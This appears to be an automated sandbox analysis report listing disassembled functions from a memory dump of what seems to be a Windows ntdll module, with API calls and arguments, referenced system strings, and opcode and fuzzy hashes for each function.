ZwTerminateThread.1105(000000FE,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5151A6
DbgPrintEx.1105(00000065,00000000,Execute '.cxr %p' to dump context,?,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5151BD
ZwTerminateProcess.1105(000000FF,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5151E6

Strings

Execute '.cxr %p' to dump context, xrefs: 6B5151B4
Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? , xrefs: 6B515165
*** Assertion failed: %s%s*** Source File: %s, line %ld, xrefs: 6B51513E
O, xrefs: 6B5151CF

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintTerminate$CaptureContextProcessPromptThread
String ID: *** Assertion failed: %s%s*** Source File: %s, line %ld$Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$O
API String ID: 3567286327-2386179708
Opcode ID: 8254b09b2003c9627557908932ff9347658681c72a8900c42126f23e00aaef13
Instruction ID: 358b8f5529b5d2f778f6710d7b74d8f961458408b88a431fbe638b8186f1d80d
Opcode Fuzzy Hash: 8254b09b2003c9627557908932ff9347658681c72a8900c42126f23e00aaef13
Instruction Fuzzy Hash: EE217F329881897BFB128A78AC59FE93768DB01754F5005D1FB60B6080E63DDE408671

Uniqueness

Uniqueness Score: -1.00%

Function 6B4740E1, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,6B5338D6), ref: 6B4D0444
DbgPrint.1105(Invalid heap signature for heap at %p,?,?,?,?,?,?,?,6B5338D6), ref: 6B4D045D
DbgPrint.1105(, passed to %s,RtlGetUserInfoHeap,?,?,?,?,?,?,6B5338D6), ref: 6B4D046E
DbgPrint.1105(6B456B94,?,?,?,?,?,?,6B5338D6), ref: 6B4D047A

Strings

, passed to %s, xrefs: 6B4D0469
Invalid heap signature for heap at %p, xrefs: 6B4D0458
HEAP: , xrefs: 6B4D044C
RtlGetUserInfoHeap, xrefs: 6B4D0468
HEAP[%wZ]: , xrefs: 6B4D043F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlGetUserInfoHeap
API String ID: 3558298466-609737958
Opcode ID: ab251fbc2236f57af40bc7715e47a4d2499237a3ef166ee000c883db7276cea2
Instruction ID: 9de4409cc9ab36fb468410d7420ebc9c53f29e933b184059b6be47668cfd24d6
Opcode Fuzzy Hash: ab251fbc2236f57af40bc7715e47a4d2499237a3ef166ee000c883db7276cea2
Instruction Fuzzy Hash: 6501D4371259A0AED3259BB8A43DFE277A4DF42B78F15807DF0085B741EBBC9880C1A5

Uniqueness

Uniqueness Score: -1.00%

Function 6B476800, Relevance: 16.9, APIs: 11, Instructions: 373memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6B4769E0
RtlEnterCriticalSection.1105(6B5679A0,?,00000000,?), ref: 6B476A06
memcpy.1105(?,?,?,6B5679A0,?,00000000,?), ref: 6B476A2F
RtlLeaveCriticalSection.1105(6B5679A0), ref: 6B476A3C
memset.1105(00000000,00000000,000002A4,6B5679A0), ref: 6B476A4D

Part of subcall function 6B476C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6B476BCE,?,00000208,6B5679A0,?,?,6B5679A0), ref: 6B476C39
Part of subcall function 6B476C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6B476BCE,?,00000208,6B5679A0,?,?,6B5679A0), ref: 6B476C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6B4D1C03

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: 99a75e7987d4d3cebc95f6e7e397c76a384fdfd464aec3a7b9a4b1113fe3670a
Instruction ID: 78fa907cced62e5115f0525ac470054f64ed23d3d3e52cf517c1c6c0ce6fca74
Opcode Fuzzy Hash: 99a75e7987d4d3cebc95f6e7e397c76a384fdfd464aec3a7b9a4b1113fe3670a
Instruction Fuzzy Hash: C4D19E71A002259BDB24DF68C891FEA77B6AF06718F04427DED25DB290E73CD945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4F51BE, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173nativememoryCOMMON

Download Yara Rule

APIs

ZwQuerySystemInformation.1105(0000005A,?,00000020,00000000,6B5505F0,00000080,6B4E5CA1,?,?,00000000,0000000E,00000000), ref: 6B4F5205

Part of subcall function 6B4B9860: LdrInitializeThunk.NTDLL(6B5015BB,00000073,?,00000008,00000000,?,00000568), ref: 6B4B986A

ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,00000000,?,6B5505F0,00000080,6B4E5CA1,?,?,00000000,0000000E,00000000), ref: 6B4F5249
RtlAllocateHeap.1105(?,00000008,?,0000006B,?,00000004,00000000,00000000,?,6B5505F0,00000080,6B4E5CA1,?,?,00000000,0000000E), ref: 6B4F5262
ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,?,?,?,0000006B,?,00000004,00000000,00000000,?,6B5505F0,00000080,6B4E5CA1), ref: 6B4F528A
RtlFindCharInUnicodeString.1105(00000001,?,6B451810,?,6B5505F0,00000080,6B4E5CA1,?,?,00000000,0000000E,00000000), ref: 6B4F5310
RtlEnterCriticalSection.1105(?,6B5505F0,00000080,6B4E5CA1,?,?,00000000,0000000E,00000000), ref: 6B4F5351
memcpy.1105(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,6B5505F0,00000080), ref: 6B4F537F

Strings

UEFI, xrefs: 6B4F521D
Legacy, xrefs: 6B4F5226

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationQuerySystem$AllocateCharCriticalEnterFindHeapInitializeSectionStringThunkUnicodememcpy
String ID: Legacy$UEFI
API String ID: 3324348579-634100481
Opcode ID: 3e6f5f8922cfff3e907c517bc852423ef784cf7cf8d8fe6b35d2380f39762e92
Instruction ID: 9fbdde97a49c8acc812dde5c117a84ff44c1510c6718ef1c9fbbadc748784def
Opcode Fuzzy Hash: 3e6f5f8922cfff3e907c517bc852423ef784cf7cf8d8fe6b35d2380f39762e92
Instruction Fuzzy Hash: 54515D719406099FDB24CFA8C840FADBBF8FB88704F14806DE659EB251D7799902CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6B4F3C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6B4F3CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6B4F3CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6B4F3CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6B4F3D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6B4F3D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6B4F3DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6B4F3DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6B4F3DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6B4F3DCD

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: ff98912c8d1bb8800026bbd532676f93678c24ed4ef7ccca33554e7b2af885ab
Instruction ID: 3f81d01b930f2348d0bea22840cde2536a314136d34730b613f871d07314a9e2
Opcode Fuzzy Hash: ff98912c8d1bb8800026bbd532676f93678c24ed4ef7ccca33554e7b2af885ab
Instruction Fuzzy Hash: 2141D672D40219BADB20CBA4D841FEEB7BDEF48354F50406AE555E3240E739DA46CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AF0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137memorynativefileCOMMON

Download Yara Rule

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6B4AF134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6B4AF14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6B4AF16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6B4AF188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6B4AF1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6B4EBAAB
ZwClose.1105(?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B5679A0,6B5679A0), ref: 6B4EBABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6B4EBACC

Strings

@, xrefs: 6B4AF124

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: b9cd30649b85fff3a2ebb058860d6719a989cbb120c3e34fa8cc7f62e9405063
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: E7515971505710ABD320CF29C841E6BBBF8FF58714F00892EFA9597690E7B8E915CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B52E0E9, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 125memorynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6B52E12F
ZwOpenKey.1105(00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6B52E163

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

RtlInitUnicodeString.1105(?,PreferredUILanguages,00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6B52E17F
RtlAllocateHeap.1105(?,00000008,-00000002,00000007,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000), ref: 6B52E1C3
ZwClose.1105(00000000,?,00000000,?), ref: 6B52E22C
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,?), ref: 6B52E241

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6B52E126
@, xrefs: 6B52E156
PreferredUILanguages, xrefs: 6B52E176

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapInitStringUnicode$AllocateCloseFreeInitializeOpenThunk
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3331478053-2968386058
Opcode ID: 4dabf4191c62529c07fce7f0ebe66d2d62959396b69709a938eadc3134f2f86a
Instruction ID: d79acbb5574dd8aa6f0e12ad67f6fde7c30673a12172b2c8ace20156b92d3943
Opcode Fuzzy Hash: 4dabf4191c62529c07fce7f0ebe66d2d62959396b69709a938eadc3134f2f86a
Instruction Fuzzy Hash: D2416671D11219ABEF11CFA4D981FDEB7B8EB09704F0040B9E915F7280D7789A44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4876FE, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 116nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,Latest,00000000,02BDFFFE,?), ref: 6B48774E
RtlAppendUnicodeToString.1105(02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B487776

Part of subcall function 6B48A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B48A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B48A9E2

RtlAppendUnicodeToString.1105(02000000,6B455000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B487791
RtlAppendUnicodeToString.1105(02000000,?,02000000,6B455000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B4877A9
ZwOpenKey.1105(00000000,00020019,00000018,02000000,?,02000000,6B455000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B487801

Strings

\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages, xrefs: 6B487770
@, xrefs: 6B4877EB
Latest, xrefs: 6B487748

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Append$InitOpenmemmove
String ID: @$Latest$\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages
API String ID: 1239783430-1383699509
Opcode ID: ddea536d76403de721f2c991d0ec37f8395be38f2b9f9228ed54bafac31778af
Instruction ID: a1cb18cc8f065311079b702452a2516e45d39eb5dda46fe2767db421dee72bea
Opcode Fuzzy Hash: ddea536d76403de721f2c991d0ec37f8395be38f2b9f9228ed54bafac31778af
Instruction Fuzzy Hash: 57412E72D4162D9BDB218B58DCA8FDAB7B4AB45714F0505EAD808E7200DB79DE84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6B526369, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113nativefileCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6B5263E8
ZwOpenFile.1105(?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6B52643E

Part of subcall function 6B5260A2: ZwQueryInformationFile.1105(?,00000001,?,00000018,00000005,00000000,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000), ref: 6B5260C4

ZwCreateSection.1105(?,000F0005,00000000,00000000,00000002,08000000,?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp), ref: 6B526490

Part of subcall function 6B4B99A0: LdrInitializeThunk.NTDLL(6B501A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B4B99AA

ZwMapViewOfSection.1105(?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002,08000000), ref: 6B5264BB

Part of subcall function 6B4B9780: LdrInitializeThunk.NTDLL(6B501A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6B4B978A

ZwClose.1105(?,?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002), ref: 6B5264C8
ZwClose.1105(?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6B5264DA

Strings

.nlp, xrefs: 6B5263C0
\SystemRoot\Globalization\, xrefs: 6B526388
@, xrefs: 6B52641B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileInitializeSectionThunk$CreateInformationInitOpenQueryStringUnicodeView
String ID: .nlp$@$\SystemRoot\Globalization\
API String ID: 4284092774-2934557456
Opcode ID: b06b069e7cf39115a13cd9f05505546113e9b4d794f0041f1b8c8e39969d25eb
Instruction ID: 6cea3e147da9d02be65e8d8f286f7c049ff1591256bf143a116cf8eb31c83831
Opcode Fuzzy Hash: b06b069e7cf39115a13cd9f05505546113e9b4d794f0041f1b8c8e39969d25eb
Instruction Fuzzy Hash: B9415571D4122C6BEF219F24CCC9FDAB778EB55314F1041E6A908A7280DB789E84CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A37EB, Relevance: 15.3, APIs: 10, Instructions: 269memorynativeCOMMON

Download Yara Rule

APIs

RtlImageNtHeader.1105(?,6B54FF48,00000050,6B4A3E98,?,6B49F900,00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B4A3817

Part of subcall function 6B48B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6B4A381C,?,6B54FF48,00000050,6B4A3E98,?,6B49F900,00000000,00000000), ref: 6B48B076

RtlAllocateHeap.1105(?,?,00000120,?,6B54FF48,00000050,6B4A3E98,?,6B49F900,00000000,00000000,?,?,?,6B54FEB8,0000001C), ref: 6B4A3860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6B54FF48,00000050,6B4A3E98,?,6B49F900,00000000,00000000), ref: 6B4A389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6B54FF48,00000050,6B4A3E98,?,6B49F900,00000000), ref: 6B4A3916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6B54FF48,00000050,6B4A3E98), ref: 6B4A394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6B4A39C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6B49C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6B4A3A0C
RtlAcquireSRWLockExclusive.1105(6B5686B4,00000000,00000024,000F00FF,00000000,?,000000FF,6B49C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6B4A3A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6B54FF48,00000050,6B4A3E98), ref: 6B4A3AF5
ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6B49C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6B4A3B1F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: 3bf3466149d7311ac1ee8527935463a3a9a0f41c1561716ca2a61b583ecefaa4
Instruction ID: 584bccd07d94bd48cce6ac4536af2f0b8dee9182da79b11bfc5e57bfd21289b2
Opcode Fuzzy Hash: 3bf3466149d7311ac1ee8527935463a3a9a0f41c1561716ca2a61b583ecefaa4
Instruction Fuzzy Hash: 0CB149B19006089FCB25CFA8C941BADBBF5FB59744F11416EE51AAB3A1E738A901CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B4FAE60, Relevance: 15.2, APIs: 5, Strings: 5, Instructions: 247COMMON

Download Yara Rule

APIs

memcpy.1105(00000000,?,0000002F,?,?,00000000,?,?,?,?,6B504109), ref: 6B4FAFBD
memcpy.1105(00000000,00000000,?,00000000,?,0000002F,?,?,00000000,?,?,?,?,6B504109), ref: 6B4FAFD1
memcpy.1105(00000000,?,00000000,?,?,00000000,?,?,?,?,6B504109), ref: 6B4FB065
memcpy.1105(00000000,\microsoft.system.package.metadata\Application,?,?,00000000,?,?,?,?,6B504109), ref: 6B4FB080
memcpy.1105(-0000000E,00000000,?,?,00000000,?,?,?,?,6B504109), ref: 6B4FB0A9

Strings

APk/, xrefs: 6B4FB0F3, 6B4FAFF4
\microsoft.system.package.metadata\Application, xrefs: 6B4FB07A
\, xrefs: 6B4FAE86
.DLL, xrefs: 6B4FAFE9, 6B4FB0BE
.Local, xrefs: 6B4FB092

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: APk/$.DLL$.Local$\$\microsoft.system.package.metadata\Application
API String ID: 3510742995-1341711879
Opcode ID: 27d199158d361bf474ac4ab259835e2437070f0853083ca3234031128e193d4d
Instruction ID: 9d256d36f9bb516c21d9da3698b1627d0912423568aef1373a72a464b90198b1
Opcode Fuzzy Hash: 27d199158d361bf474ac4ab259835e2437070f0853083ca3234031128e193d4d
Instruction Fuzzy Hash: 1191A276D00A199FCB11CFACC881EAEB7B5EF89750F1541A9E814EB350D739D906CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B49F86D, Relevance: 15.1, APIs: 10, Instructions: 124threadmemoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6B54FEB8,0000001C,6B472C4C,?), ref: 6B49F9C6

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: 2b85fa4a255ec1cf52fdf25b219ad2ef1ba968bf472bac69ea0406d057ece08e
Instruction ID: 437b06601eef7a838e20ec9f5045c9cd5fa731b320b108946185dc2c8c4c7acd
Opcode Fuzzy Hash: 2b85fa4a255ec1cf52fdf25b219ad2ef1ba968bf472bac69ea0406d057ece08e
Instruction Fuzzy Hash: 0F417C71A02205AFEB11AFBCC850FAEBBB5AB49758F10045AE550E7250DB7DE841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B475210, Relevance: 15.1, APIs: 10, Instructions: 107memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6B4752A5: RtlEnterCriticalSection.1105(6B5679A0,?,00000000,?), ref: 6B4752BF
Part of subcall function 6B4752A5: RtlLeaveCriticalSection.1105(6B5679A0,6B5679A0,?,00000000,?), ref: 6B4752DD

memcpy.1105(?,?), ref: 6B47525B
RtlLeaveCriticalSection.1105(6B5679A0), ref: 6B4D0D2B
RtlLeaveCriticalSection.1105(6B5679A0), ref: 6B4D0D71
ZwClose.1105(?), ref: 6B4D0D84
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6B4D0D95
RtlLeaveCriticalSection.1105(6B5679A0), ref: 6B4D0DA7
ZwClose.1105(?), ref: 6B4D0DB4
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6B4D0DC5

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CloseFreeHeap$Entermemcpy
String ID:
API String ID: 3163955863-0
Opcode ID: 82414e29ae02711aad530627cec4d0c2f69ccc669ce08db1d22f3f68d1b10143
Instruction ID: ab678e9acffe4882171ff6c9014a6e629379ad2b3bd0d72fbc485968adb50ef7
Opcode Fuzzy Hash: 82414e29ae02711aad530627cec4d0c2f69ccc669ce08db1d22f3f68d1b10143
Instruction Fuzzy Hash: 2E314831691A00DBC7219B28C8A5F9677B5FF11760F10466AE9148B3A0EB3CF801CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6B52DF1D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6B4871B4,6B4871B4,?), ref: 6B52DF8A
